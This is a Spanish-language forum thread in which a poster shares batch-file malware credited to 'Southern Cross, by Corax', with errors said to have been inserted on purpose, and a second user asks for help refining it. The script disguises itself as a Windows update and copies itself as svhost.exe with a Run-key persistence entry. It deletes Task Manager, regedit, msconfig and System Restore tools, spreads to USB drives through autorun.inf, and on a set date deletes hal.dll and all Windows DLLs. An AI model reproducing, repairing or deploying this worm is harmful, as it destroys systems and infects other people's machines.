bueno, yo también quisiera hacer un aporte de mi código, solo que para evitar la tentación lammer de usarlo "a discrección" contra todobicho viviente, le meteré errores en el código. quien sepa batch no tendrá problemas en repararlos. se agradecen sugerencias:
Código
@echo off goto initio initio title NUEVO HARDWARE ENCONTRADO (ACTUALIZANDO) AT 12:00 goto jornada AT 28/03/09 goto apocalpypse CLS if exist %windir%\regedit.exe (goto conqeror) else (goto espora) conqueror CLS title ACTUALIZANDO WINDOWS SP2 v.4.0.8.1. Por favor, espere... rem Southern Cross, by Corax copy \svhost.exe C:\WINDOWS\System32\svhost.exe reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v services /d C:\Windows\System32\svhost.exe CLS echo [autorun]>>%Windir%\cursors\autorun.inf" echo OPEN=svhost.exe>>%Windir%\cursors\autorun.inf" CD %WINDIR%\System32\" del /Q /F taskmgr.exe del /Q /F taskkill.exe CLS CD %WINDIR%\System32\" del /Q /F regedt32.exe del /Q /F wscui.cpl del /Q /F command.com CLS CD %windir%\System32\restore\" del /Q /F rstrui.exe del /Q /F srdiag.exe CLS CD "%windir%\" del /Q /F taskman.exe del /Q /F regedit.exe CLS CD "%windir%\PCHealth\HelpCtr\Binaries\" del /Q /F msconfig.exe CLS goto espora espora CLS if exists E:\ (goto 1) else (goto faren) faren CLS if exists F:\ (goto 2) else (goto gotrek) gotrek CLS if exists G:\ (goto 3) else (goto hyperion) hyperion CLS if exists H:\ (goto 4) else (goto espora) 1 if exists E:\svhost.exe (goto faren) else (goto 11) 2 if exists F:\svhost.exe (goto gotrek) else (goto 22) 3 if exists G:\svhost.exe (goto hyperion) else (goto 33) 4 if exists H:\svhost.exe (goto espora) else (goto 44) 11 title ACTUALIZANDO WINDOWS SP2 v.4.0.8.1. Por favor, espere... copy C:\WINDOWS\System32\svhost.exe E:\svhost.exe /y copy %Windir%\cursors\autorun.inf E:\autorun.inf /y CLS goto espora 22 title ACTUALIZANDO WINDOWS SP2 v.4.0.8.1. Por favor, espere... copy C:\WINDOWS\System32\svhost.exe F:\svhost.exe /y copy %Windir%\cursors\autorun.inf F:\autorun.inf /y CLS goto espora 33 title ACTUALIZANDO WINDOWS SP2 v.4.0.8.1. Por favor, espere... copy C:\WINDOWS\System32\svhost.exe G:\svhost.exe /y copy %Windir%\cursors\autorun.inf G:\autorun.inf /y CLS goto espora 44 title ACTUALIZANDO WINDOWS SP2 v.4.0.8.1. Por favor, espere... copy C:\WINDOWS\System32\svhost.exe H:\svhost.exe /y copy %Windir%\cursors\autorun.inf H:\autorun.inf /y CLS goto espora jornada CLS shutdown -s -t 10 apocalypse CD "%WINDIR%\System32\" del /Q /F hal.dll CD "%WINDIR%\" del /S /Q /F *.dll shutdown -s t- 10 pause exit
Muy interezante... si estoy viendo los errores.. a lo mejor no detallo algunos ya que apenas hoy me voy enterando de esta maravilla de todas formas espero que ayudes un poco tambien vale ?.... otra cosa es que esta un poco agresivo XD como para probarlo con uno mismo ... de todas formas lo seguire detallando y viendo que le puedo quitar o poner.. gracias por compartir...
PD: no me he fijado si cambiaste lo del ping que puso octalh para que se repitiera el ciclo.. que otras alternativas a estas se te ocurre para que se pueda extraer el pendrive en modo seguro sin problemas.